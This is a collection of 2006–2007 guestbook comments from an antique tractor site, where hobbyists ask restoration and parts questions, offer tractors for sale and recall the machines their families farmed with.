J. I. Akeman wrote on Monday, May 07, 2007 (PDT):I am looking for a plow, a single point attachment for a cub lowboy. Please email me if you have one.
Randy wrote on Monday, May 07, 2007 (PDT):how do you put the rear cultivators on one exactly like yours that we are restoring here at the powell co high school here in Ky
allen wrote on Monday, May 07, 2007 (PDT):this dozer looks very clean i wold like to have it for my grandpa here in arkansas
Okie Allis fan wrote on Sunday, May 06, 2007 (PDT):Was wanting to put new points in my 1955 WD45....the new points has a weird looking gadget half way down the shaft that the cuurent points don t have and when I put the points in they are far too open.......HELP
Trevor Veech wrote on Saturday, May 05, 2007 (PDT):We have a super MD on our farm that we use for odd jobs during the summer. We also set the pump up on it because we pull with it at a couple of tractor pulls every year. We bought it for 600 wich I thought was a pretty good deal evan though it doesnt look as good as this one in the picture.
Bubba wrote on Saturday, May 05, 2007 (PDT):This tractor looks much like a Farmall A. Does any body else see that
harte Crow wrote on Friday, May 04, 2007 (PDT):I m trying to mount a Sunmastr S48-0 mammermill flail mower under the belly of my Cub. I think the mounting hardware is lost; however, I have a means of fabricating it if I can see how the mower is supposed to be mounted. Does anyone know where I can see photos of such a mower on a Cub
Jack Wigley wrote on Thursday, May 03, 2007 (PDT):I have a 1950 s Fordson Dexta, 3 cyl, I need an injector pump, SIMMS, an old one, a rebuilt one or where can you order the unit pumps Thank you.
RICHARD FREDERICK wrote on Thursday, May 03, 2007 (PDT):Looking for a 500 Case in good working order in Wisconsin. Anyone out there have one for sale Please contact me.
Johnnny wrote on Tuesday, May 01, 2007 (PDT):I have a F-12 with steel wheels. I would like to replace the lugs with rubber treads like I ve seen in some photos. Does anyone know where I can get these type treads
DONNA M wrote on Sunday, April 29, 2007 (PDT):We have a 1965 cub tractor with pto, plow, spike tooth harrow, disc, tumble bucket, center grader blade, front grader blade, sickle bar mower, and a home made manure dump trailer. Located in San Diego CA area. It runs, needs a basic tuneup. Could use paint, it s yellow now. Any ideas on what it is worth or what I should ask for it
James wrote on Sunday, April 29, 2007 (PDT):It s James again From Canada. My e-mail is cherisse at mts.net
James wrote on Sunday, April 29, 2007 (PDT):Hi my name is James I live in Lockport, Manitoba Canada. I have a set of Arps half tracks I can t get them to stay on the tires. I also have a set of skis for the front tires. If anyone has any literature for these tracks or can tell me how to set them up I would appreciate it. Also what type of tires do I need I was told I need turf tires but I don t know.
Paul Tie ottawa wrote on Friday, April 27, 2007 (PDT):I was looking at Massey f Ferguson 97 4x4 nd could not find the Sn where is it and how can i identify these tractors also would like to have any words of wisdom for a potwntial owner Thanks Paul
Mike wrote on Friday, April 27, 2007 (PDT):Looking to buy International 300. Never owned a tractor. Can anyone tell me what items to look at. He says the rubber is 80%, has 3 pt quick hitch, good metal. Asking 3500....has front loader.
Keith wrote on Friday, April 27, 2007 (PDT):I just bought an old ferguson and I really dont know if its a TO 20 or a TE 20.Was wondering if theres a way to tell them apart,im not really up to date on ferguson s and would like to find out before i start trying to refurbish the tractor.....Thanks...Keith
Carolyn Turner wrote on Wednesday, April 25, 2007 (PDT):I have my husband s 1937 or 1939 rubber tired F-12 Farmall stored in the shed and would like to find out the value and if anyone would be interested in buying it. It was restored and repainted and won many tractor pulls in Idaho. Anyone interested
Dwight Simbro wrote on Wednesday, April 25, 2007 (PDT):I have a C for sale. It has a Super C motor. Think it might be a 1954. It has a 6 foot JD belly finishing mower that needs a gear-box. The tractor has new tires. Runs good. Call 641-898-7346 2000
Richard Sweet wrote on Wednesday, April 25, 2007 (PDT):I have a 1948 F-cub with Hydr. Two disc plow, and a woods belly, mower and wheel weights, all for sale with orig. manuel. I have a parts manuel to.Runs great smokes a little but so do I.needs front tire.I am the second owener Tractor is from Ohio, But is now retired in Florida. Contact me If Interisted
Richard Sweet wrote on Wednesday, April 25, 2007 (PDT):I have a 1948 F-cub with Hydr. Two disc plow, and a woods belly, mower and wheel weights, all for sale with orig. manuel. I have a parts manuel to.Runs great smokes a little but so do I.needs front tire.I am the second owener Tractor is from Ohio, But is now retired in Florida. Contact me If Interisted
wayne c wrote on Monday, April 23, 2007 (PDT):i just bought a tractor i would like to know what year it is and hp. and other usefull info it is a wf83o8 thanks wayne
Alan D Harmon wrote on Monday, April 23, 2007 (PDT):Iam looking for regular. I have restored a F12, F20, F30. Also loohing for F14. My collection are unstile tractors. I have alot fun restoring tractors.
Moody Richardson wrote on Saturday, April 21, 2007 (PDT):My dad and I owned two 770 s , A 1959 and a 1964. The first one had the Hydra Hitch and the second one had the power Traction hitch. The 64 model was a big improvement. Both ran very well and handled excellent as both were purchased new. The 59 had slow rearend and the 64 had the fast rearend. That 3rd gear at 41/4 miles per hour was a work horse with 3 - 14 semi mounted plow Red Gumbo Hill and a 10 - wheel disk and chain harrow in tandem. The six cyclinder was unbeatable on the PTO. Note; To plow, there must be 4-5 inches thread unscrewed on the left liftarm to enable the plow to perform corectly. Very Important In this era of time these tractors were unequaled for power and price. Cheaper than the 1600 but, just as much power. Also same goes compared to the 3010 JD, Cheaper but just as much power.
Linda Johnston wrote on Friday, April 20, 2007 (PDT):We have a 1941 International AV. Has cultivator and wheel weights. New tires, too. Would be interested in seeing it go to a good home. You may call 989-762-5122. Located in Michigan. We ve used it as a garden tractor and no longer have a big garden. Runs swell.
Chuck wrote on Tuesday, April 17, 2007 (PDT):Mr. Bartling, If the model # is actually the serial #, it may have been manufactured early in 1941. Serial #s of the BN ran from 6744 to 41500 that year. Hope this is helpful
Steve Van despiegle wrote on Monday, April 16, 2007 (PDT):I have a 560 diesel. I love everything about this tractor. It is in beautifull condition. Im selling it due to health reasons. Anyone interested.
Forcade wrote on Monday, April 16, 2007 (PDT):We have 555 MH Diesel and would like to know if that tractor is positive ground
Glen Boland wrote on Sunday, April 15, 2007 (PDT):I am looking for an Allis Chalmers 1937model. It has WC57255 stamped on the axel housing. It and two more wc s were owned by my dad. He bought them new and had 3 AC combines behind them. This was the first combine in Ste. Genevieve county Mo.. Dad used them to do custom work for years. Dad lived in Minnith Mo. The tractor was running as late as 1969, just as strong as it did new. I have looked foer this tractor for years. If anyone knows about this tractor, please let me know. Thanks
zachary ayers wrote on Sunday, April 15, 2007 (PDT):i found a hg42 with a winch. it has 6 good rolls no motor. make me an offer for one item or i will sell it whole. my number is 304 257 6924. any good offer will not be refused thanks.
Henry Hahn wrote on Saturday, April 14, 2007 (PDT):Mark send your address to the Leader tractor club for a packetof information about history of co. 7606 Hwy. J. Perryville, MO 63775
zac wrote on Friday, April 13, 2007 (PDT):Anyone out there looking for a farmall b+n 1942 for parts. To my knowledge it hasn t been started for 20yrs. The barn is about to fall on it and I d hate to see it be destroyed. e-mail me if there is any interest in it. Zronek at zoominternet.net THE tractor is in medina,ohio
Jim Farber wrote on Wednesday, April 11, 2007 (PDT):MITCH; My email is tractasaurus at pacific.net Jim
Jim Farber wrote on Wednesday, April 11, 2007 (PDT):MITCH; My email is tractasaurus at pacific.net Jim
Jim Farber wrote on Wednesday, April 11, 2007 (PDT):Mitch; The email address you offered came back with address has permanent fatal errors .I hope your tractor is in better shape.Why don t you email me and we ll try again Jim
Ron White wrote on Tuesday, April 10, 2007 (PDT):I just purchaced a Farmall H that I believe is a 1950 or 1951. I made that determination by viewing the serial numbers available on this site mine is serial # 35168 . I think I got a heck of a deal...I paid 800.00 and it is equipped with a belly mower deck and I use it to mow my little 2 acre patch on the bayou in south Louisiana. I am having a bit of a problem with the governor vs. throttle adjustments. If I ma right about the model and year I am going to purchase the owner s manual and service manual off of this site as well. Any recommendations Ron White in Coteau, Louisiana not the comedian
steve wrote on Monday, April 09, 2007 (PDT):well hello my name is steve and im from northwestern pa. I have been raised on ih and love them but i think the best tractor we have ever had is our old oliver 88. I love it. I have reacently purchased a rc70 and would like to restore it. I know where there are three other oliver 70s but they are stripped to the frame with nothing to offer. im trying to find fenders.If anyone could help or offer any web sites i sure would appreciate it
blair mysko wrote on Sunday, April 08, 2007 (PDT): I have a 1944 Oliver 70 Standard S/N 308828. It is a six cyilinder engine, should be 6 forward gears 1 reverse. I would like to know the shifting pattern, can anyone help me. We are thinking of selling this tractor 4,500.00.
Moody Richardson wrote on Sunday, April 08, 2007 (PDT):In the 1950 s and 1960 s our farm used two Super 55 s and three 550 s and also other great Olivers. . The 550 s in my opinion, were the best small tractor ever b uild by any company. We pulled 3 plows in heavy hill soil and kept a manure loader on one . Also baled hay pulled grain dril and cultipacker in tandrum in forth gear. They were very dependable and tough. We never worked on a 550 engine. Hydraulic problems with the Super 55 , but never any problems with the 550 s. All were gas engines.
Alvin McLellan wrote on Sunday, April 08, 2007 (PDT):My Dad had one of these when i was a wee boy. It was his only tractor! First tractor i ever drove, drove it right into the garage cuz i could nt reach the clutch! I have a 30 and a 33 massey would love to find a pacer. Pretty rare nowadays! Keep up the good work!
Dustin Ranallo wrote on Friday, April 06, 2007 (PDT):I own a wd-45 and in the process of restoring it and I was wondering were I could find repro fenders,and hood at reasonable prices
MITCH wrote on Thursday, April 05, 2007 (PDT):HEY JIM FARBER, JUST GOT BACK ON. HERE IS MY E-MAIL; buffi2 at bnin.net. please contact me.
paul carter wrote on Thursday, April 05, 2007 (PDT):Do you know what actual size tires came out on 22rc
johnny red wrote on Wednesday, April 04, 2007 (PDT):Restoring/modifying an M, want to install a M/W live hyd. pump,any tips on plumbing Do you use the orig. pump as a tank Do you have to remove internals from orig. pump Will M/W pump pull fluid up from a tank this low Any tips or info. sources/pictures would be greatly appreciated. Tractor is 70% comp. already have M/W pump but am considering using orig., after this much time and labor when it goes together it better not have to come apart for a looong time!
Adam Riggs wrote on Wednesday, April 04, 2007 (PDT):Hopeing To Make A Wish Come True! On July 16, 2000 MY Uncle Wrote A Story About His 1948 Case SC, His Love For The Old Case, and Hope s of Fixing it up. He Owned it For 30+ Years, Now I Want To Fix it up in memory of him, complete his wish. And Have it in parades and shows. Maybe You could help. It needs a total overhaul, paint job, some parts missing caps on top of hood radiator, gas filler caps, hand crank, gauges, base bracket for seat,it needs a bit but hope to complete this, maybe some one out there could help. thanks adam
Bryan wrote on Wednesday, April 04, 2007 (PDT):Trying to sell Super 55-550 Oliver, with attachments please email the above address if interested. Located in Burlington, NC
Josh H wrote on Tuesday, April 03, 2007 (PDT):I have a Farmall BN Serial #; FABN 102294. The tractor is in excellent condition. It has new tires, new paint, and runs very well. Yesterday, while hooking up my finish mower to the home made 3 point hitch, I broke the output shaft on the PTO The mower was stuck from sitting all winter . I d like to buy one so I can get the tractor ready for mowing. Also, I d like to know what the tractor is worth.
MArk Kemo wrote on Tuesday, April 03, 2007 (PDT):I am considering buying a Leader but I don t know a thing about them. Can anyone help with manufacture dates, what are they worth and any other info that you might think I could use.
john wrote on Monday, April 02, 2007 (PDT):I have a 420c with industrial loader #90 scarifier, ser.#111983 motor runs great, tracks need attention many extra rollers extra track idlers 3250 - 920 921 2517
Ronald Meek wrote on Monday, April 02, 2007 (PDT):My 28 D weighed in with my 200 # s at 4,800 with a full tank of gas, rubber treads replaced all steel front and rear. Also have a late 37 -three speed and a 47 styled.
Ronald Meek wrote on Monday, April 02, 2007 (PDT):Restored a 1935 GP, last year built only #, ledgible is the 2 at the beginning of the serial #. Steel rear - replaced with tread from regular tractor tires, fronts are cut offs with round spokes. starts and runs very good.
Heath Bradshaw wrote on Monday, April 02, 2007 (PDT):I have an 1949 Case LA Industial Series Model. I would like to know if this tractor has a dry or wet clutch housing There is no rear main seal for this engine. And it want disengage to change the gear. Any suggestions at all would be very nice
Heath Bradshaw wrote on Monday, April 02, 2007 (PDT):I have an 1949 Case LA Industial Series Model. I would like to know if this tractor has a dry or wet clutch housing There is no rear main seal for this engine. And it want disengage to change the gear. Any suggestions at all would be very nice
Clayton wrote on Sunday, April 01, 2007 (PDT):What size of engine does this tractor have
Jim Broughton wrote on Saturday, March 31, 2007 (PST):Joe Morgan; The oil pump is on the rear wall of the engine, if you have to replace it, you will have to split the tractor at the clutch housing, remove the clutch and flywheel and just to the upper left of the rear seal is a bump-out plate that is the rear of the oil pump ! Good luck, it s a lot of work to get to, but fairly easy to fix ! Jim B.
Clayton Ott wrote on Friday, March 30, 2007 (PST):Brad shoot me an E-Mail. I think that this C would be great to restore. You could even restore the cotton harvester, if not the harvestor is worth a good amount if you just sell the drum and scrap iron. Great tractor underneath though!!
Clayton Ott wrote on Friday, March 30, 2007 (PST):FOR SALE!!! I have an original Farmall C converted to a cotton harvester. The harvester is still on the tractor. If you are intrested, you can email me. i will send pictures, and and give you information about it. I will be posting it in the classifyed adds soon.
Russell Boseck wrote on Friday, March 30, 2007 (PST):I have a 1951 wd45 can i put on power stering on or not if any one knows let me know.
paul dahlkemper wrote on Thursday, March 29, 2007 (PST):When I was a kid in 3rd grade, I operated an Oliver 70 row crop, six cylinder, 4 forward and 1 reverse. Hand operated two row cultivators for corn. I operated it until 1952 and sold it when I came home from the service in 1954. I have always missed it. My bride finally, cured me and we have been happily married for 55 years. Six kids later I am looking for pictures of the old tractor.
Rod Starnes wrote on Wednesday, March 28, 2007 (PST):First tractor I ever drove was JohnDeere Model H, would like to buy one.
Nick Kunik wrote on Wednesday, March 28, 2007 (PST):I am in the process of restoring a 1948 AC G and need to replace the two radiator fan shaft bearings. I can not seem to find any replacment bearings anywher. They probaly do not make or have OEM bearings for sale any wher so I am hoping someone knows of a aftermarket bearing. Any info on this would be greatly appreciated Nick from Mt.Pleasant MI.
Joe Morgan wrote on Sunday, March 25, 2007 (PST):Where is the oil pump on farmall cub tractor Thank You
Dennis wrote on Friday, March 23, 2007 (PST):I have a 420c that has been tested tough in Alaska woods under extreme temperatures for over 20 years. Still runs great. switched to 12 volt neg ground 3 years ago and added electronic ignition. Starts and runs great. no fouled plugs. I m having trouble locating a new engine clutch disc and pressure plate. Serial #135375. Can someone point me towards an aftermarket supplier I also have some used parts.
Hester wrote on Friday, March 23, 2007 (PST):We have a nice running 1938 WC Allis and would like to know the value of this old tractor. If you have any information on the value please call 864-489-3051.
Hunter Prowse wrote on Friday, March 23, 2007 (PST):The decal on the tractors went from Mcormick Deering Farmall To Mcormick Farmall,around the time the paint went from grey to red, and the body style changed. It was all part of the transformation in about 1936 or 1938.
Stacy Porch wrote on Thursday, March 22, 2007 (PST):I am looking for side curtain latches for my 22-36 1929 tractor. Anyone know where I could find some
Ben wrote on Thursday, March 22, 2007 (PST):I m looking for a D-15 diesel in any shape. If you have one you are looking to sell, please write me back.
zack roiter wrote on Wednesday, March 21, 2007 (PST):the G is the best tractor john deere made it sounds mean. we have one on the farm but i am looking to buy one to restore so if anyone has any info let me know
zack roiter wrote on Wednesday, March 21, 2007 (PST):the G is the best tractor john deere made it sounds mean. we have one on the farm but i am looking to buy one to restore so if anyone has any info let me know
zack roiter wrote on Wednesday, March 21, 2007 (PST):the G is the best tractor john deere made it sounds mean. we have one on the farm but i am looking to buy one to restore so if anyone has any info let me know
Brad. wrote on Wednesday, March 21, 2007 (PST):I have been farming with my father since I was 4 and I have nothing bad to say about Farmall. I just got done restoring a 49H and a 53M. Now I m looking for a C. If you know where to find one for a reasonable price. NOT restored I would love to take it off there hands.
Jim Farber wrote on Tuesday, March 20, 2007 (PST):Can t get email address to show for Mitch.We may be able to help each othwer on parts.Jim
tom klang wrote on Tuesday, March 20, 2007 (PST):i have a case -s for sale it is a 1947 .make me an offer. it has 2 front wheels . thank you.
Eric Porch wrote on Monday, March 19, 2007 (PST):The best place to order wiring harnesses for antique tractors is Porch Electric, LLC. They manufacture cloth covered wire and cloth braid. The terminals are crimped and soldered and covered with heat shrink.
j.w.freck wrote on Sunday, March 18, 2007 (PST):i am looking for a allis chalmers wd45 gas,wide front end,good tin and no welds in the major structures block,differential and such to restore.we had 3 of them on the farm in indiana.would like the texas,oklahoma ark la.area.will consider any area on a good buy
Martin Ruiz wrote on Sunday, March 18, 2007 (PST):I have just restored my oliver 550 after 10 years of it sitting. I had many problems with the tractor. I think I have gotten a lot of the small things fixed and it is finally running. It runs great and has lots of power. Parts are hard to fine for the tractor. My suggestion is if you can get your hands on one that is just for parts do it. I am currenlty looking for one. If anyone knows of one let me know. Mine is gas and have yet to see how good it is on gas. It has a loader which works very nice. The loader is an industrial loader and is very heavy. I think it will be a great tractor. Be prepared for your pocket book to get pretty thin if you restore one.
gordy wrote on Saturday, March 17, 2007 (PST): i have a 1 bottom 14 in plow that i believe is for a massey pony. still has a massey harris decal on back of moldboard. it is forsale. thank you
Les warner wrote on Saturday, March 17, 2007 (PST):I have a 41 L A. It has been comepletely restored, and I have receipts from the previous owner showing what was done on the complete tractor. The engine has been completly gone through. My problem is low oil pressure when it get s up to the normal temp. I have tried every thing,with out going in to it, like oil pump shims, heavy oil, like what was suggested 50 wieght, but the same thing, it always comes down to low pressure after becomeing hot. Any ideas, other than lookin inside Les Warner, Eugene, Or
Les warner wrote on Saturday, March 17, 2007 (PST):My 1949 M T is next inline for restoration. It is srtaight, and clean. One problem to be dealt with as I go is- When this tractor was close to being new, it fell on a loading ramp, and has play in the steering as a result of it.otherwise the only dents is some in the grill, but not much to worry about. It was use on a large farm in it s early years as a mowing tractor,and was overhauled every year after harvest. Les Warner Eugene, Or
james c ligon wrote on Thursday, March 15, 2007 (PST):Hello, My brother gave me a massey ferguson 35 gas. The block and piston sleeve are cracked. I need a engine or a block. Does anyone know how to locate this. Thanks Jim phone 15013621840
Joe Schueler wrote on Wednesday, March 14, 2007 (PST):I m restoring a 1948 Farmall Cub and its mounted 172 Runner Planter. Can anyone send me a color picture of a restored Cub wearing its restored planter so I can find out how to place the decals If I can find a picture I can have the decals made here in Kasson, MN.
Jeff robbins wrote on Wednesday, March 14, 2007 (PST):I have a 160ac need rear fenders does anyone know were you can buy any used or after-market ones thanks j.r.
Jessica wrote on Tuesday, March 13, 2007 (PST):I am looking for the seat from an avery tractor that has the name AVERY on the back. My son s name is Avery, I had no idea it was a tractor at the time. My parents bought him an Avery model V. I would like to find this seat to make him a keep sake other than just his tractor. If you have any info please e-mail me at jlstalford at sbcglobal.net
Jack Sober wrote on Sunday, March 11, 2007 (PST): I receved my 1951 super c as a gift in 2000. unknowing it had two smashed and beetend pistons.It did not run,so I found a macanic and started to open the can of warms that hapens when you take on this type of prodject.I baut a comeplet engine block,genarater/alternater,starter,points and condencer,distibuter,voltigragulater,battery and all the wires to the lights.After 7 years and 3 moths it is ready for work in the feild and some perades.I have one thing to say to enyone that wants to do this kind of operation you must have paionts,good advisers and most of all money to speand.
Emmett wrote on Saturday, March 10, 2007 (PST):Have 57 420C Crawler. Going on 5 years. Paid 4500. Front Blade. Army 6x6 winch jerry-rigged to pto. Used to skid logs, for pine boards, firewood and to clear plow-packed snow in Vermont. Likes to pull plow trucks out of the ditch! Only had to replace the clutch, throw-out, and clutch plate since I bought it. Deere had all the parts. Only weakness is the tracks stretch easy, so I have to keep after the idler tension adjustment. If not, it will throw a track... but only deep in the woods and on a steep grade... ;- I love this tractor.
Gary Fike wrote on Saturday, March 10, 2007 (PST): Hello,from Canada,to all you Oliver owners.I,too,have an Oliver, a 1960-770,gas, wide front. I love my tractor too, but I need help! The wheel studs came loose,on the left wheel sitting on the seat looking forward and I m having a hard time, up here, finding new studs, as the old ones are stripped.Can anyone please help me 1-780-623-3212 Alberta, Canada. Thanx .
Jphn Stevens wrote on Saturday, March 10, 2007 (PST):I own a 1928 McCormick Deering 15-30 in working order and ready for a parade. It has pneumatic rubber tires on the original spoked metal wheels. It is for sale.
Justin Horner wrote on Thursday, March 08, 2007 (PST): I have a running AC 220 for sale,a complete tractor ready to drive. Really to much tractor for our use. contact for pics. or info
sophie old wrote on Wednesday, March 07, 2007 (PST):i have a 1948 series 2 im about to rebuild the enigine,but the tractor is missing the flywheel,air pre cleaner,paper holder+few other small parts if anyone can help i ll be very gratiful my tel no.o7727106808
Ben Austic wrote on Wednesday, March 07, 2007 (PST):I have a 1956 TO-35 grey sheetmetal w/green undercarriage . I would like to purchase decals for the hood and original headlights. All decals that I have found for sale are red. If you have or know of any green decals, please contact me. I am also interested in purchasing any Ferguson attachments in any condition. Thanks!
Eugene S. wrote on Saturday, November 11, 2006 (PST): wrote on saturday,nov. 11,06, Ihave a 1950 To-20 all red why are so many listed all painted gray. I plan to repaint mine red.
Ryan Pelletier wrote on Saturday, November 11, 2006 (PST):My grandfather owned a MH 44D which he sold for peanuts in 1998. I was recently told the tractor he owned was very rare and in fact only 10 were manufactured. I am told that his tractor was restored and is now in a museum in Pennsylvania. Does anyone have information about the liklihood that some 44D only had 10 produced? Also any info about possible tractor museums in Pennsylvania would be appreciated. Thanks! Ryan
Jamie Dowell wrote on Thursday, November 09, 2006 (PST):A John Deere R was the 1st tractor my dad ever bought. Man what a work horse. I really miss that old tractor
James Toburen wrote on Thursday, November 09, 2006 (PST):My dad bought a new supper 55 gas in 1958 when I was a kid. It was the tractor I grew up with and farmed with until I left the farm after college. I bought a 1955 gas super 55 several years ago to play with on a 10 acre farm. It has the original front end loader, and an aftermarket box blade. I moved off the 10 acres. The tractor is for sale.
Rich wrote on Wednesday, November 08, 2006 (PST):I can't believe it. This little Farmall C Serial #351132 R-1 is sitting out by our back fence and has been for several years (in the weather). We were clearing out the back fence line today and found it. As I recall it was parked there as part of a bus deal that never happened so I guess ownership falls to me. I have no idea where this tractor started its life but right now its down and out in Utah. If anyone knows anything about this particular C let me hear from you. This abused little critter is worming its way into my heart.
Frank wrote on Tuesday, November 07, 2006 (PST):Question-I have a 1948 Farmall M,3 point with pto. Will a John Deer #9 sickle mower fit/work on my tractor? Appreciate answer asap-Thanx
James R Morgan wrote on Tuesday, November 07, 2006 (PST):My Dad and my Uncle bought a new 22-36 in 1932 in Southern Kentucky.I was five years old and I remember watching as it was unloaded near my front yard. About five or six years later we were cutting wheat and my Uncle, who was driving the tractor, stopped and asked me if I would drive a while so he could take a break! My first tractor driving! After another year or two I was allowed to drive it pretty regularly. I remember vividly the sound and smell of that tractor and the strength required sometimes to turn it in plowed ground.
Myron Schneider wrote on Monday, November 06, 2006 (PST):What are these tractors worth? To day the tractor last compression in on cylinder, ran fine yesterday, what is wrong?
Warren Pannett wrote on Thursday, November 02, 2006 (PST):I just bought a 1948 Oliver 60 for $100.00 I am sure I can get it running but I am in the market for a hood. Anyone knowing where I could get one please E-mail me back. live in Clovis Ca. Thanks Warren
Payson wrote on Sunday, October 29, 2006 (PST):I'm 14 and just bought a farmall B to restore for a 4-H project. It runs good, but in the "learning spirit" of a 4'H er, I know NOTHING about how to begin restoring my tractor. Does anyone have recommendations for any good books or other sources? I'm SO EXCITED to begin my project!....My parents even let me bid and buy the tractor all by myself.
mike wrote on Sunday, October 29, 2006 (PST):just bought 51 mdl b new tires fresh paint and runs great. i am ih fan but had to buy b in order to buy ih that i had been looking for for a long time. he said the only way he would sell me the ih is if i bought them both. i paid 900 for the b and know nothing about them did i get hurt or did i do good or did i do avg. looking for someone that knows ac prices. cant find any info on them.
Luis wrote on Sunday, October 29, 2006 (PST):I have one question how much does a $20.00 bill dated back to 1864 would be worth
William Isaac wrote on Sunday, October 29, 2006 (PST):Don Schutt just read your add and if you really want to sell your "M", you are about 1500.00 to high, not being smart or anything, just know john deere tractors, have 12, two of them being "M's" in mint condition and 3500.00 is about the best they will do. Thanks Will
William Isaac wrote on Sunday, October 29, 2006 (PST):Question for Steve Raborn, 1948 John Deere what? I have 12 John Deere tractors, so if I knew what your tractor was maybe I could answer your question. Thanks William
roy cool wrote on Sunday, October 29, 2006 (PST): I have a wide frontend Silver King. It has spoked wheels. I'm told this is a 1938. I need alot of info. on this because I want to restore this to original as possible. Any pictures of one would be great. I have a picture of a 1940.
Dan Hayman wrote on Thursday, October 26, 2006 (PDT):At the age of 12 or 13 I was doing all the work with The General. It pulled a 16 inch Avery plow and a disc. That was the extent of the equipment. I wanted my dad to cut the long tongue off the wagon and mowing machine, but he said the horses needed to work. I was in 7th Heaven working The General. One time the front wheel became loose and I had to finish plowing a field with the horses. I had to replace the left wheel brake once. My neighbor had a Ford tractor and we hooked the drawbars together, I killed his engine in 3rd gear, he killed my engine in 2nd gear, and we both set and spun the wheels in first gear. I loved that ole tractor. Thanks...
Simon Ayre wrote on Thursday, October 26, 2006 (PDT):Hi everyone out there with greasy fingers!! My father and We are looking for an engine for a 1917 4 cylinder samson 10-25 sieve grip tractor. hope you can help!! We know that we are looking for a very rare engine but hope someone can help. Simon & Terry, Somerset England.
graham wrote on Thursday, October 26, 2006 (PDT):i have two marshall tractors for sale i want £5500 for one and £ 5000 for the other . i live in gloucestershire my tel no is 07833631874
Shannon Blake wrote on Wednesday, October 25, 2006 (PDT):I am looking for a used or REASONABLY priced new radiator for a oliver 550. If it has a few leaks thats ok as long as it can be repaired.(with the exception of installing a new core). I work for that other GREEN tractor manufacturer but my oliver is still #1. Don"t tell my boss.HA HA
Judy Crook wrote on Wednesday, October 25, 2006 (PDT):Hello- My husband and I have inherited a JD H in a foriegn country. I now have the $$ and desire to restore it. Can you help me with the first steps I should take, manuals, part manufactures, ect. . . Thank you, Judy Crook
Jeremy wrote on Tuesday, October 24, 2006 (PDT):I have an Oliver Super 99 Diesel sitting in by backyard in Western Montana. It was parked, with cultivator still attached, a while back, and just left. The tires are even still holding air. A little TLC to the fuel and electrical systems and some body work with a paint job, and this tractor would restore nicely. How much would you be looking to spend to pick it up? Please don't try to lowball me on this, as I will just do the restoration myself for use in tractor pulls and parades instead of agree to sell it.
Steve Raborn wrote on Tuesday, October 24, 2006 (PDT):I found a 1948 John Deer Tractor (running) and need to know what the going price is because I don't want to be over priced. Can you help me?
Frank Fry. wrote on Tuesday, October 24, 2006 (PDT):Having just aquired a 1956 fordson major tractor with original log book, I found this site whilst looking for information on it. The story of this tractor goes as follows. Last week I had to go to an engineering yard just outside of Bristol to collect some thing else whilst there I saw this old tractor tucked away in the corner of their yard. I asked what was happening with it, I was told that the whole site had been sold for housing and everything was being srapped. I said the tractor is being scrapped as well ? They said yes we are waiting for the scrap people to arrive. Anyway I gave them £20.00 for their tea & coffee put it on a trailer and took it home. It needed a starter and 3 light bulbs, and it started up as sweet as anything. There is no rust or damage to it whatsoever it also has a front loading bucket. The starter cost me £120 and the bulbs £1 each, I think I may have done quite well.
Welby wrote on Monday, October 23, 2006 (PDT):Welby - I have a chance to buy a '53 Model 60. It has 16.9 x 30 rear tires. I thought that odd, but it originally came from Norfolk, ND. I understand that is potato country. Could this tractor be retrofited for a potato harvester? I have a 1940 slant dash 'B' that I'm trying to decide whether to sell or restore it.
wayne eakes wrote on Saturday, October 21, 2006 (PDT):can someone tell me where to check trans and lift oil on a international 240 tractor please
Terry wrote on Saturday, October 21, 2006 (PDT):HOwdy, I have a Brownie Tractor from the Brownie Tractor Co. Joliet , Ill. It is a model "B" Serial # 59261. It is like a lawn mower tractor, with a briggs and stratton engine. There is not a mower attachement. The wheels in front are narrow and the wheels in back are wide. Would appreciate any info. Thanks.
charlie K wrote on Saturday, October 21, 2006 (PDT):I have a Farmall M (actually 2 of them). The one I recently purchased appears to have blown out the clutch. I believe the tractor must be broken in half to repair. My question is any idea how much such a repair might cost, and whether it is worthwhile to even consider. Thanks!!!!!
Bob Easterbrooks wrote on Friday, October 20, 2006 (PDT):My dad farmed with one fof many years I have one I will try to restore
Cook Farms wrote on Thursday, October 19, 2006 (PDT):I have a 1066, 1086, and a 656 loader tractor. All three tractors run like brand new. We just bought the 1066 and its already my favourite. Im planing on putting new tires all the way around, splashing it with some new paint and straight piping it. IH tractors are the best tractors there are! Does anyone have any 1066 pics they would like to share?
e. cencora wrote on Thursday, October 19, 2006 (PDT):hey guys i just boiught a farmal m tractor ,and trying to find out where i can get parts for it .
edward wrote on Thursday, October 19, 2006 (PDT):i just bought a farmal tractor and just have't found out what year it is, but i'll find out soon
Larry Garrigus wrote on Wednesday, October 18, 2006 (PDT):I was raised on a 1946 SC case with the hand clutch and two wheels close together in front. That tractor was a stump pulling machine. It was also handy to pull big rocks. Front end would come off ground but with hand clutch, could handle with no problem. The only thing that was bad about the SC was its brakes. Seem to go bad all the time. I live in Missouri and would like to buy a 46 SC case if anyone has one in Missouri. Also my dad took a distributor off of a M Farmall and replaced the MAG on the old SC case. IT ran OK. The M Farmall was a 1951
gary long wrote on Wednesday, October 18, 2006 (PDT):interested to hear from any one with any series 3 field marshall spares i live in suffolk but can travel look forward to hearing from some one.
John C Schurko, Mr wrote on Wednesday, October 18, 2006 (PDT):I thought I would let every one know I'm listing a 1948 M Farmall on Ebay. Should be on Tomorrow October 18, 2006. It's in nice restored condition with new tires. If anyone is interested email me. I would be happy to answer any questions!
clyde j, myers wrote on Wednesday, October 18, 2006 (PDT):All MM fans, I am currently searching for an older M possibly a gtb ( not sure of model or year of tractor) but it was converted with big V-8 gas motor, and sold from taylor mill , KY. in 1987 , wanted dead of alive, please help find, thanks, Jake
Gary Stark wrote on Tuesday, October 17, 2006 (PDT):We had a Case LA in the late 40s. It handled well and was fun to operate where lugging power was needed. When plowing the massive 4-cylinder high torque engine would pull down before the sluggish governor would react. When it opened up the LA would make a rip roaring leap forward through the toughest conditions. Its bid drawback was high fuel consumption. It would burn over 60 galons of gasoline in a 10 hour day. We finally traded it for an IH diesel which did the same work on 35 gallons of diesel fuel.
Gary Stark wrote on Tuesday, October 17, 2006 (PDT):We had a Case LA in the late 40s. It handled well and was fun to operate where lugging power was needed. When plowing the massive 4-cylinder high torque engine would pull down before the sluggish governor would react. When it opened up the LA would make a rip roaring leap forward through the toughest conditions. Its bid drawback was high fuel consumption. It would burn over 60 galons of gasoline in a 10 hour day. We finally traded it for an IH diesel which did the same work on 35 gallons of diesel fuel.
